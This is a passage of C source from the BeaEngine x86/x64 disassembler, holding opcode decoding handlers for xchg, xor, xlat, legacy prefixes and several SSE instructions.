        (*pMyDisasm).Argument1.ArgSize = 64;
        (*pMyDisasm).Argument2.ArgSize = 64;
    }
    else if (OperandSize == 32) {
        (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[0]);
        if (REX.B_ == 1) {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[3+8]);
        }
        else {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[3]);
        }
        EIP_++;
        (*pMyDisasm).Argument2.AccessMode = WRITE;
        (*pMyDisasm).Argument1.ArgSize = 32;
        (*pMyDisasm).Argument2.ArgSize = 32;
    }
    else {
        (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[0]);
        if (REX.B_ == 1) {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[3+8]);
        }
        else {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[3]);
        }
        EIP_++;
        (*pMyDisasm).Argument2.AccessMode = WRITE;
        (*pMyDisasm).Argument1.ArgSize = 16;
        (*pMyDisasm).Argument2.ArgSize = 16;
    }
}


// =======================================
//      94h
// =======================================
void __stdcall xchg_esp(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xchg ");
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0;
    (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REG4;
    if (OperandSize == 64) {
        (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[0]);
        if (REX.B_ == 1) {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[4+8]);
        }
        else {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[4]);
        }
        EIP_++;
        (*pMyDisasm).Argument2.AccessMode = WRITE;
        (*pMyDisasm).Argument1.ArgSize = 64;
        (*pMyDisasm).Argument2.ArgSize = 64;
    }
    else if (OperandSize == 32) {
        (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[0]);
        if (REX.B_ == 1) {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[4+8]);
        }
        else {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[4]);
        }
        EIP_++;
        (*pMyDisasm).Argument2.AccessMode = WRITE;
        (*pMyDisasm).Argument1.ArgSize = 32;
        (*pMyDisasm).Argument2.ArgSize = 32;
    }
    else {
        (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[0]);
        if (REX.B_ == 1) {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[4+8]);
        }
        else {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[4]);
        }
        EIP_++;
        (*pMyDisasm).Argument2.AccessMode = WRITE;
        (*pMyDisasm).Argument1.ArgSize = 16;
        (*pMyDisasm).Argument2.ArgSize = 16;
    }
}


// =======================================
//      95h
// =======================================
void __stdcall xchg_ebp(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xchg ");
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0;
    (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REG5;
    if (OperandSize == 64) {
        (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[0]);
        if (REX.B_ == 1) {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[5+8]);
        }
        else {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[5]);
        }
        EIP_++;
        (*pMyDisasm).Argument2.AccessMode = WRITE;
        (*pMyDisasm).Argument1.ArgSize = 64;
        (*pMyDisasm).Argument2.ArgSize = 64;
    }
    else if (OperandSize == 32) {
        (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[0]);
        if (REX.B_ == 1) {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[5+8]);
        }
        else {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[5]);
        }
        EIP_++;
        (*pMyDisasm).Argument2.AccessMode = WRITE;
        (*pMyDisasm).Argument1.ArgSize = 32;
        (*pMyDisasm).Argument2.ArgSize = 32;
    }
    else {
        (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[0]);
        if (REX.B_ == 1) {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[5+8]);
        }
        else {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[5]);
        }
        EIP_++;
        (*pMyDisasm).Argument2.AccessMode = WRITE;
        (*pMyDisasm).Argument1.ArgSize = 16;
        (*pMyDisasm).Argument2.ArgSize = 16;
    }
}


// =======================================
//      96h
// =======================================
void __stdcall xchg_esi(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xchg ");
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0;
    (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REG6;
    if (OperandSize == 64) {
        (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[0]);
        if (REX.B_ == 1) {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[6+8]);
        }
        else {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[6]);
        }
        EIP_++;
        (*pMyDisasm).Argument2.AccessMode = WRITE;
        (*pMyDisasm).Argument1.ArgSize = 64;
        (*pMyDisasm).Argument2.ArgSize = 64;
    }
    else if (OperandSize == 32) {
        (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[0]);
        if (REX.B_ == 1) {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[6+8]);
        }
        else {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[6]);
        }
        EIP_++;
        (*pMyDisasm).Argument2.AccessMode = WRITE;
        (*pMyDisasm).Argument1.ArgSize = 32;
        (*pMyDisasm).Argument2.ArgSize = 32;
    }
    else {
        (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[0]);
        if (REX.B_ == 1) {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[6+8]);
        }
        else {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[6]);
        }
        EIP_++;
        (*pMyDisasm).Argument2.AccessMode = WRITE;
        (*pMyDisasm).Argument1.ArgSize = 16;
        (*pMyDisasm).Argument2.ArgSize = 16;
    }
}


// =======================================
//      97h
// =======================================
void __stdcall xchg_edi(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xchg ");
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0;
    (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REG7;
    if (OperandSize == 64) {
        (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[0]);
        if (REX.B_ == 1) {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[7+8]);
        }
        else {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[7]);
        }
        EIP_++;
        (*pMyDisasm).Argument2.AccessMode = WRITE;
        (*pMyDisasm).Argument1.ArgSize = 64;
        (*pMyDisasm).Argument2.ArgSize = 64;
    }
    else if (OperandSize == 32) {
        (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[0]);
        if (REX.B_ == 1) {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[7+8]);
        }
        else {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[7]);
        }
        EIP_++;
        (*pMyDisasm).Argument2.AccessMode = WRITE;
        (*pMyDisasm).Argument1.ArgSize = 32;
        (*pMyDisasm).Argument2.ArgSize = 32;
    }
    else {
        (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[0]);
        if (REX.B_ == 1) {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[7+8]);
        }
        else {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[7]);
        }
        EIP_++;
        (*pMyDisasm).Argument2.AccessMode = WRITE;
        (*pMyDisasm).Argument1.ArgSize = 16;
        (*pMyDisasm).Argument2.ArgSize = 16;
    }
}

// =======================================
//      0d7h
// =======================================
void __stdcall xlat_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + MISCELLANEOUS_INSTRUCTION;
    if (AddressSize == 64) {
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xlat ");
        (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0;
        (*pMyDisasm).Argument1.ArgSize = 8;
        (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REG3;
        (*pMyDisasm).Argument2.ArgSize = 64;
        EIP_++;
    }
    else if (AddressSize == 32) {
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xlat ");
        (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0;
        (*pMyDisasm).Argument1.ArgSize = 8;
        (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REG3;
        (*pMyDisasm).Argument2.ArgSize = 32;
        EIP_++;
    }
    else {
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xlatb ");
        (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0;
        (*pMyDisasm).Argument1.ArgSize = 8;
        (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REG3;
        (*pMyDisasm).Argument2.ArgSize = 16;
        EIP_++;
    }
}


// =======================================
//      30h
// =======================================
void __stdcall xor_EbGb(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xor ");
    EbGb(pMyDisasm);
    FillFlags(pMyDisasm,113);
}

// =======================================
//      31h
// =======================================
void __stdcall xor_EvGv(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xor ");
    EvGv(pMyDisasm);
    FillFlags(pMyDisasm,113);
}

// =======================================
//      32h
// =======================================
void __stdcall xor_GbEb(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xor ");
    GbEb(pMyDisasm);
    FillFlags(pMyDisasm,113);
}

// =======================================
//      33h
// =======================================
void __stdcall xor_GvEv(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xor ");
    GvEv(pMyDisasm);
    FillFlags(pMyDisasm,113);
}

// =======================================
//      34h
// =======================================
void __stdcall xor_ALIb(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xor ");
    ALIb(pMyDisasm);
    FillFlags(pMyDisasm,113);
}

// =======================================
//      35h
// =======================================
void __stdcall xor_eAX_Iv(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xor ");
    eAX_Iv(pMyDisasm);
    FillFlags(pMyDisasm,113);
}


// =======================================
//      86h
// =======================================
void __stdcall xchg_EbGb(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xchg ");
    EbGb(pMyDisasm);
    FillFlags(pMyDisasm,113);
    (*pMyDisasm).Argument2.AccessMode = WRITE;
}

// =======================================
//      87h
// =======================================
void __stdcall xchg_EvGv(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xchg ");
    EvGv(pMyDisasm);
    FillFlags(pMyDisasm,113);
    (*pMyDisasm).Argument2.AccessMode = WRITE;
}
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// Copyright 2006-2009, BeatriX
// File coded by BeatriX
//
// This file is part of BeaEngine.
//
//    BeaEngine is free software: you can redistribute it and/or modify
//    it under the terms of the GNU Lesser General Public License as published by
//    the Free Software Foundation, either version 3 of the License, or
//    (at your option) any later version.
//
//    BeaEngine is distributed in the hope that it will be useful,
//    but WITHOUT ANY WARRANTY; without even the implied warranty of
//    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
//    GNU Lesser General Public License for more details.
//
//    You should have received a copy of the GNU Lesser General Public License
//    along with BeaEngine.  If not, see <http://www.gnu.org/licenses/>.

// ====================================================================
//      Legacy Prefix F0h - Group 1
// ====================================================================
void __stdcall PrefLock(PDISASM pMyDisasm)
{
    if (!Security(0)) return;
    (*pMyDisasm).Prefix.LockPrefix = InvalidPrefix;
    EIP_++;
    (*pMyDisasm).Prefix.Number++;
    NB_PREFIX++;
    (*pMyDisasm).Instruction.Opcode = *((BYTE*) EIP_);
    (void) opcode_map1[*((BYTE*) EIP_)](pMyDisasm);
    OperandSize = 32;
}

// ====================================================================
//      Legacy Prefix F2h - Group 1
// ====================================================================
void __stdcall PrefREPNE(PDISASM pMyDisasm)
{
    if (!Security(0)) return;
    (*pMyDisasm).Prefix.RepnePrefix = SuperfluousPrefix;
    EIP_++;
    (*pMyDisasm).Prefix.Number++;
    NB_PREFIX++;
    PrefRepne = 1;
    (*pMyDisasm).Instruction.Opcode = *((BYTE*) EIP_);
    (void) opcode_map1[*((BYTE*) EIP_)](pMyDisasm);
    PrefRepne = 0;
}

// ====================================================================
//      Legacy Prefix F3h - Group 1
// ====================================================================
void __stdcall PrefREPE(PDISASM pMyDisasm)
{
    if (!Security(0)) return;
    (*pMyDisasm).Prefix.RepPrefix = SuperfluousPrefix;
    EIP_++;
    (*pMyDisasm).Prefix.Number++;
    NB_PREFIX++;
    PrefRepe = 1;
    (*pMyDisasm).Instruction.Opcode = *((BYTE*) EIP_);
    (void) opcode_map1[*((BYTE*) EIP_)](pMyDisasm);
    PrefRepe = 0;
}

// ====================================================================
//      Legacy Prefix 2Eh - Group 2
// ====================================================================
void __stdcall PrefSEGCS(PDISASM pMyDisasm)
{
    if (!Security(0)) return;
    (*pMyDisasm).Prefix.CSPrefix = InUsePrefix;
    EIP_++;
    (*pMyDisasm).Prefix.Number++;
    NB_PREFIX++;
    (*pMyDisasm).Instruction.Opcode = *((BYTE*) EIP_);
    (void) opcode_map1[*((BYTE*) EIP_)](pMyDisasm);
}

// ====================================================================
//      Legacy Prefix 3Eh - Group 2
// ====================================================================
void __stdcall PrefSEGDS(PDISASM pMyDisasm)
{
    if (!Security(0)) return;
    (*pMyDisasm).Prefix.DSPrefix = InUsePrefix;
    EIP_++;
    (*pMyDisasm).Prefix.Number++;
    NB_PREFIX++;
    (*pMyDisasm).Instruction.Opcode = *((BYTE*) EIP_);
    (void) opcode_map1[*((BYTE*) EIP_)](pMyDisasm);
}

// ====================================================================
//      Legacy Prefix 26h - Group 2
// ====================================================================
void __stdcall PrefSEGES(PDISASM pMyDisasm)
{
    if (!Security(0)) return;
    (*pMyDisasm).Prefix.ESPrefix = InUsePrefix;
    EIP_++;
    (*pMyDisasm).Prefix.Number++;
    NB_PREFIX++;
    (*pMyDisasm).Instruction.Opcode = *((BYTE*) EIP_);
    (void) opcode_map1[*((BYTE*) EIP_)](pMyDisasm);
}

// ====================================================================
//      Legacy Prefix 64h - Group 2
// ====================================================================
void __stdcall PrefSEGFS(PDISASM pMyDisasm)
{
    if (!Security(0)) return;
    (*pMyDisasm).Prefix.FSPrefix = InUsePrefix;
    EIP_++;
    (*pMyDisasm).Prefix.Number++;
    NB_PREFIX++;
    SEGMENTFS = 1;
    (*pMyDisasm).Instruction.Opcode = *((BYTE*) EIP_);
    (void) opcode_map1[*((BYTE*) EIP_)](pMyDisasm);
}

// ====================================================================
//      Legacy Prefix 65h - Group 2
// ====================================================================
void __stdcall PrefSEGGS(PDISASM pMyDisasm)
{
    if (!Security(0)) return;
    (*pMyDisasm).Prefix.GSPrefix = InUsePrefix;
    EIP_++;
    (*pMyDisasm).Prefix.Number++;
    NB_PREFIX++;
    (*pMyDisasm).Instruction.Opcode = *((BYTE*) EIP_);
    (void) opcode_map1[*((BYTE*) EIP_)](pMyDisasm);
}


// ====================================================================
//      Legacy Prefix 36h - Group 2
// ====================================================================
void __stdcall PrefSEGSS(PDISASM pMyDisasm)
{
    if (!Security(0)) return;
    (*pMyDisasm).Prefix.SSPrefix = InUsePrefix;
    EIP_++;
    (*pMyDisasm).Prefix.Number++;
    NB_PREFIX++;
    (*pMyDisasm).Instruction.Opcode = *((BYTE*) EIP_);
    (void) opcode_map1[*((BYTE*) EIP_)](pMyDisasm);
}

// ====================================================================
//      Legacy Prefix 66h - Group 3
// ====================================================================
void __stdcall PrefOpSize(PDISASM pMyDisasm)
{
    if (!Security(0)) return;
    (*pMyDisasm).Prefix.OperandSize = InUsePrefix;
    EIP_++;
    (*pMyDisasm).Prefix.Number++;
    NB_PREFIX++;
    OperandSize = 16;
    (*pMyDisasm).Instruction.Opcode = *((BYTE*) EIP_);
    (void) opcode_map1[*((BYTE*) EIP_)](pMyDisasm);
    OperandSize = 32;
}

// ====================================================================
//      Legacy Prefix 67h - Group 4
// ====================================================================
void __stdcall PrefAdSize(PDISASM pMyDisasm)
{
    if (!Security(0)) return;
    (*pMyDisasm).Prefix.AddressSize = InUsePrefix;
    EIP_++;
    (*pMyDisasm).Prefix.Number++;
    NB_PREFIX++;
    AddressSize = AddressSize >> 1;
    (*pMyDisasm).Instruction.Opcode = *((BYTE*) EIP_);
    (void) opcode_map1[*((BYTE*) EIP_)](pMyDisasm);
    AddressSize = AddressSize << 1;
}

// ====================================================================
//      Escape Prefix 0Fh - two bytes opcodes
// ====================================================================
void __stdcall Esc_2byte(PDISASM pMyDisasm)
{
    if (!Security(0)) return;
    EIP_++;
    (*pMyDisasm).Instruction.Opcode = *((BYTE*) EIP_) + 0x0F00;
    (void) opcode_map2[*((BYTE*) EIP_)](pMyDisasm);
}

// ====================================================================
//      Escape Prefix 0F38h - three bytes opcodes
// ====================================================================
void __stdcall Esc_tableA4(PDISASM pMyDisasm)
{
    if (!Security(0)) return;
    EIP_++;
    (*pMyDisasm).Instruction.Opcode = *((BYTE*) EIP_) + 0x0F3800;
    (void) opcode_map3[*((BYTE*) EIP_)](pMyDisasm);
}
// ====================================================================
//      Escape Prefix 0F3Ah - three bytes opcodes
// ====================================================================
void __stdcall Esc_tableA5(PDISASM pMyDisasm)
{
    if (!Security(0)) return;
    EIP_++;
    (*pMyDisasm).Instruction.Opcode = *((BYTE*) EIP_) + 0x0F3A00;
    (void) opcode_map4[*((BYTE*) EIP_)](pMyDisasm);
}
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// Copyright 2006-2009, BeatriX
// File coded by BeatriX
//
// This file is part of BeaEngine.
//
//    BeaEngine is free software: you can redistribute it and/or modify
//    it under the terms of the GNU Lesser General Public License as published by
//    the Free Software Foundation, either version 3 of the License, or
//    (at your option) any later version.
//
//    BeaEngine is distributed in the hope that it will be useful,
//    but WITHOUT ANY WARRANTY; without even the implied warranty of
//    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
//    GNU Lesser General Public License for more details.
//
//    You should have received a copy of the GNU Lesser General Public License
//    along with BeaEngine.  If not, see <http://www.gnu.org/licenses/>.

// ====================================================================
//      0x 0f 58
// ====================================================================
void __stdcall addps_VW(PDISASM pMyDisasm)
{
    // ========= 0xf2
    if (PrefRepne == 1) {
        (*pMyDisasm).Prefix.RepnePrefix = MandatoryPrefix;
        OpSize = 104;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "addsd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    // ========= 0xf3
    else if (PrefRepe == 1) {
        (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix;
        OpSize = 103;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "addss ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    // ========== 0x66
    else if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "addpd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "addps ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f d0
// ====================================================================
void __stdcall addsubpd_(PDISASM pMyDisasm)
{
    // ========= 0xf2
    if (PrefRepne == 1) {
        (*pMyDisasm).Prefix.RepnePrefix = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE3_INSTRUCTION + SIMD_FP_PACKED;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "addsubps ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }

    // ========== 0x66
    else if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE3_INSTRUCTION + SIMD_FP_PACKED;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "addsubpd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        FailDecode(pMyDisasm);
    }
}


// ====================================================================
//      0x 0f 55
// ====================================================================
void __stdcall andnps_VW(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + LOGICAL_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "andnpd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + LOGICAL_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "andnps ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
}


// ====================================================================
//      0x 0f 54
// ====================================================================
void __stdcall andps_VW(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + LOGICAL_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "andpd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + LOGICAL_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "andps ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
}


// ====================================================================
//      0x 0f 3a 0d
// ====================================================================
void __stdcall blendpd_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + PACKED_BLENDING_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "blendpd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
        EIP_++;
        if (!Security(0)) return;
        third_arg = 1;
        (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_- 1));
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X", *((BYTE*) (EIP_- 1)));
        (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE + ABSOLUTE_;
        (*pMyDisasm).Argument3.ArgSize = 8;
        ImmediatSize = 8;

    }
    else {
        FailDecode(pMyDisasm);
    }

}


// ====================================================================
//      0x 0f 3a 0c
// ====================================================================
void __stdcall blendps_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + PACKED_BLENDING_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "blendps ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
        EIP_++;
        if (!Security(0)) return;
        third_arg = 1;
        (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_- 1));
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X", *((BYTE*) (EIP_- 1)));
        (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE + ABSOLUTE_;
        (*pMyDisasm).Argument3.ArgSize = 8;
        ImmediatSize = 8;
    }
    else {
        FailDecode(pMyDisasm);
    }
}


// ====================================================================
//      0x 0f 38 15
// ====================================================================
void __stdcall blendvpd_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + PACKED_BLENDING_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "blendvpd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        FailDecode(pMyDisasm);
    }

}


// ====================================================================
//      0x 0f 38 14
// ====================================================================
void __stdcall blendvps_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + PACKED_BLENDING_INSTRUCTION;
